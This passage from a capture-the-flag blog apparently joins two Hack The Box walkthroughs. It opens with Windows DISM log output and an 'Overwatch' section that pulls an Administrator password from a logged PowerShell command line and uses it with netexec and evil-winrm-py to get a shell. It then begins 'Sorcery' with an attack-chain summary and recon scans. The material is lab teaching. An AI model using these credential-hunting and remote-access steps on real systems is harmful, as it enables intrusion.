2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Transport-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Deployment-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FaxServiceRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Gui-Mgmt with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Gui-Mgmt_onecore with CBS state 0(CbsInstallStateAbsent) being mapped to dism state 0(DISM_INSTALL_STATE_NOTPRESENT) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DfsMgmt with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-Mgmt with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NFS-Administration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FaxServiceConfigRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Internet-Explorer-Optional-amd64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerMediaFoundation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebDAV-Redirector with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TelnetClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-LPRPortMonitor with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-InternetPrinting-Client with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-AdminTools-Collection with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-MultiPoint-Connector with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-PhotoBasic with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Printing-PremiumTools with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-StorageService with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-FullServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers-HNS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Containers-SDN with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DiskIo-QoS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerMigration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMBHashGeneration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Dedup-Core with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DFSN-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DFSR-Infrastructure-ServerEdition with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FileServerVSSAgent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DHCPServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DNS-Server-Full-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VolumeActivation-Full-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SearchEngine-Client-Package with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FileAndStorage-Services with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Services with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature File-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CoreFileServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:44, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-MinConsoleFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-BitmapFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-TrueType with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-UAPFonts with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCoreFonts-NonCritical-Fonts-Support with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemInsightsManagement with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemInsights with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-Drivers-General with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-Drivers-General-WOW64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Client-ProjFS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SystemDataArchiver with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HypervisorPlatform with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VirtualMachinePlatform with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Subsystem-Linux with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationServiceManagement with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature StorageMigrationServiceProxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Input parameters: Session: 2 - DismCloseSessionInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Refcount for DismSession= 2s 0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Finalizing CBS core. - CDISMPackageManager::Finalize
2025-05-16 16:05:45, Info                  DISM   DISM Manager: PID=3280 TID=3372 Closing session event handle 0x340 - CDISMManager::CleanupImageSessionEntry
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3372 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 GetReferenceCount hr: 0x0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Refcount for DismSession= 1s 0 - CSessionTable::RemoveSession
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 ExecuteLoop: Cancel signaled - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Leave CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 Temporarily setting the scratch directory. This may be overridden by user later. - CDISMManager::FinalConstruct
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 16:05:45, Info                  DISM   PID=3280 TID=3364 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 16:05:45, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3364 Leave CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Deleted g_internalDismSession - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 Shutdown SessionTable - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                          - DismShutdownInternal
2025-05-16 16:05:45, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: <----- Ending DismApi.dll session ----->

This session is Windows Defender enumerating server roles. The parent process command line is "C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles, which is Defender’s CLI scanner asking the OS which Windows Server roles are installed so it can tailor its scan behavior. It does that by loading DismApi.dll and calling the same API behind Get-WindowsFeature, against the online image:

Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
...[snip]...
Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal

DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845} is the well-known GUID for “the running OS”, and DismGetFeaturesInternal with no Identifier / PackageIdentifier means “list every feature in the catalog.”

Administrator Credentials

Looking specifically at the log on Overwatch, on my instance there are 154 instances of it logging a parent process:

evil-winrm-py PS C:\windows\logs\dism> (Get-Content dism.log | Select-String "Parent process command line").Count
154
evil-winrm-py PS C:\windows\logs\dism> (Get-Content dism.log | Select-String "Parent process command line" | Select-String -NotMatch wm
iprvse.exe).Count
10

All but 10 of them are from C:\Windows\system32\wbem\wmiprvse.exe - DismInitializeInternal. The other 10 have a very interesting one:

evil-winrm-py PS C:\windows\logs\dism> Get-Content dism.log | Select-String "Parent process command line" | Select-String -NotMatch "wmiprvse.exe"
...[snip]...
2025-12-31 03:15:21, Info                  DISM   API: PID=2020 TID=596 DismApi.dll: Parent process command line: powershell.exe  -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\Temp\hygiene.ps1" -TargetAdmin Administrator -pass ReinhardHammer507 -TargetUser sqlmgmt -dhcp -nu -nd  - DismInitializeInternal
...[snip]...

hygiene.ps1 is run from C:\Windows\Temp on 2025-12-31 03:15:21, less than a month before the boxes release.

The script is no longer there:

evil-winrm-py PS C:\windows\logs\dism> cat C:\Windows\Temp\hygiene.ps1
Cannot find path 'C:\Windows\Temp\hygiene.ps1' because it does not exist.

But the arguments provide a good amount of data:

-TargetAdmin Administrator - The admin username is Administrator.
-pass ReinhardHammer507 - A password, likely the target admin.
-TargetUser sqlmgmt - A user’s home directory to check.
-dhcp - The host is configured for DHCP.
-nu - No idea.
-nd - No idea.

This is likely some script that HTB uses to clean up the box, and it ironically left artifacts on the box with the Administrator’s password!

Shell over WinRM

Even without a full understanding of the original script, I can guess that the password “ReinhardHammer507” might work for the Administrator user, and it does:

oxdf@hacky$ netexec smb S200401.overwatch.htb -u Administrator -p ReinhardHammer507
SMB         10.129.244.81   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True) (Guest Auth:True)
SMB         10.129.244.81   445    S200401          [+] overwatch.htb\Administrator:ReinhardHammer507 (Pwn3d!)
oxdf@hacky$ netexec winrm S200401.overwatch.htb -u Administrator -p ReinhardHammer507
WINRM       10.129.244.81   5985   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
WINRM       10.129.244.81   5985   S200401          [+] overwatch.htb\Administrator:ReinhardHammer507 (Pwn3d!)

And can give a shell:

oxdf@hacky$ evil-winrm-py -i S200401.overwatch.htb -u Administrator -p ReinhardHammer507
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>

HTB: Sorcery

2026-04-25T13:45:00+00:00

Sorcery is a Linux box with a Rust Rocket web app backed by Neo4j, Gitea, and a Kafka message bus. I’ll exploit Cypher injection in a derive-macro-generated query to leak the seller registration key, then use XSS in a product description to register a passkey on the admin account through a headless Chrome bot. I’ll also show a shortcut to change the admin’s password using cypher injection. As admin, a port-debug tool becomes an SSRF I can use to send Kafka wire protocol messages, which I’ll use to get RCE in the DNS container. From there, I’ll recover a CA keypair from FTP, phish the next user with mitmproxy proxying their own Gitea login page, read a password out of an Xvfb framebuffer, and reverse a .NET binary to generate OTPs for Docker Registry auth. Pulling layers out of a pushed image leaks another password, and the final pivots abuse FreeIPA roles to change one user’s password over LDAP and bootstrap sudo rights to root. I’ll show a couple unintended paths using pspy to capture creds as well.

Box Info

Sorcery

Insane

Release Date 14 Jun 2025

Retire Date 25 Apr 2026

OS Linux

Rated Difficulty

Radar Graph

User

11:11:35

Root

12:35:52

Creator

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTPS (443):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.25.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 05:02 UTC
...[snip]...
Nmap scan report for 10.129.25.147
Host is up, received echo-reply ttl 63 (0.020s latency).
Scanned at 2026-04-15 05:02:58 UTC for 8s
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
443/tcp open  https   syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
           Raw packets sent: 71183 (3.132MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22,443 -sCV 10.129.25.147
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 05:03 UTC
Nmap scan report for 10.129.25.147
Host is up (0.021s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_  256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
443/tcp open  ssl/http nginx 1.27.1
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: Did not follow redirect to https://sorcery.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after:  2052-03-18T02:09:11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.09 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 24.04 noble LTS. The Nginx version doesn’t immediately line up with any of my recorded values.

There’s one additional hop to get to the webserver:

oxdf@hacky$ sudo lft 10.129.25.147:22
Tracing ...T
TTL LFT trace to 10.129.25.147:22/tcp
 1  10.10.14.1 19.2ms
 2  [target open] 10.129.25.147:22 19.6ms
oxdf@hacky$ sudo lft 10.129.25.147:443
Tracing ....T
TTL LFT trace to 10.129.25.147:443/tcp
 1  10.10.14.1 19.4ms
 2  10.129.25.147 20.0ms
 3  [target open] 10.129.25.147:443 19.9ms

That implies it’s running in a container.

There’s a redirect to sorcery.htb on port 443, as well as that same domain in the TLS certificate.

Subdomain Brute Force

Given the use of domain name based routing, I’ll use ffuf to brute-force subdomains that respond differently than the default case:

oxdf@hacky$ ffuf -u https://10.129.25.147 -H "Host: FUZZ.sorcery.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://10.129.25.147
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.sorcery.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

git                     [Status: 200, Size: 13592, Words: 1048, Lines: 272, Duration: 569ms]
:: Progress: [19966/19966] :: Job [1/1] :: 203 req/sec :: Duration: [0:01:26] :: Errors: 0 ::

It very quickly finds git. I’ll add both to my hosts file:

10.129.25.147   sorcery.htb git.sorcery.htb

I’ll re-run nmap with scripts targeting each subdomain by name, but not find anything interesting on either.

sorcery.htb - TCP 443

Site

The site just presents a login form:

The link leads to git.sorcery.htb/nicole_sullivan/infrastructure. In addition to logging in with password, there’s a Passkey option:

The registration form has an optional “Registration Key” field:

If I try to register the username admin, it fails:

I can register an account and log in. On logging in I’m directed to /dashboard/store:

The items show at /dashboard/store/ and aren’t interesting, other than that someone forgot to fill in the id in the breadcrumbs:

The IDs are GUIDs.

Under “Profile” there’s my user id, username, user type, and login type. There’s an option to enroll a passkey:

There’s also a hint that I really want to get to be a seller (or admin).

Passkey

In Firefox, if I hit “Enroll Passkey”, it pops up waiting for a physical key:

Firefox doesn’t offer a dev tools Passkey emulator, but Chrome does. I’ll open the Chrome dev tools, and click on the three dot menu at the top right. From there, “More tools”, and then “WebAuthn”:

In the new panel, I’ll have the option to create a new authenticator:

I’ll check each option, and hit Add. Now there’s an authenticator with no credentials:

If I click “Enroll Passkey” on the Profile page, now the page shows an ID:

And that same ID shows in the emulator:

If I log out and then log in with Passkey, entering my username and submitting goes directly to the dashboard.

Tech Stack

The HTTP response headers show not only Nginx but also NextJS:

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.27.1
Date: Wed, 15 Apr 2026 00:23:23 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
link: ; rel=preload; as="font"; crossorigin=""; type="font/woff2"
Location: /auth/login
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 4613

The 404 page also matches the default NextJS 404:

Given the availability of the source code, I’ll skip the directory brute force for now.

git.sorcery.htb

Site

The site is an instance of Gitea:

Under “Explore”, there’s one repo (the same one linked to by the main site):

It’s got four directories and a docker-compose.yml file:

I’ll go through those in detail shortly.

Tech Stack

The footer shows that this is Gitea version 1.22.1. The HTTP response headers also show Nginx and Gitea:

HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Wed, 15 Apr 2026 10:16:33 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: max-age=0, private, must-revalidate, no-transform
Set-Cookie: i_like_gitea=3df4e8ff73be0904; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: _csrf=s_zru6IGhHr2Zv6s0kR0frsEsfw6MTc3NjI0ODE5MzI5MDQ0NzA4Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Content-Length: 13591

Gitea is a self-hosted Git server written in Go.

Source Code

Repo

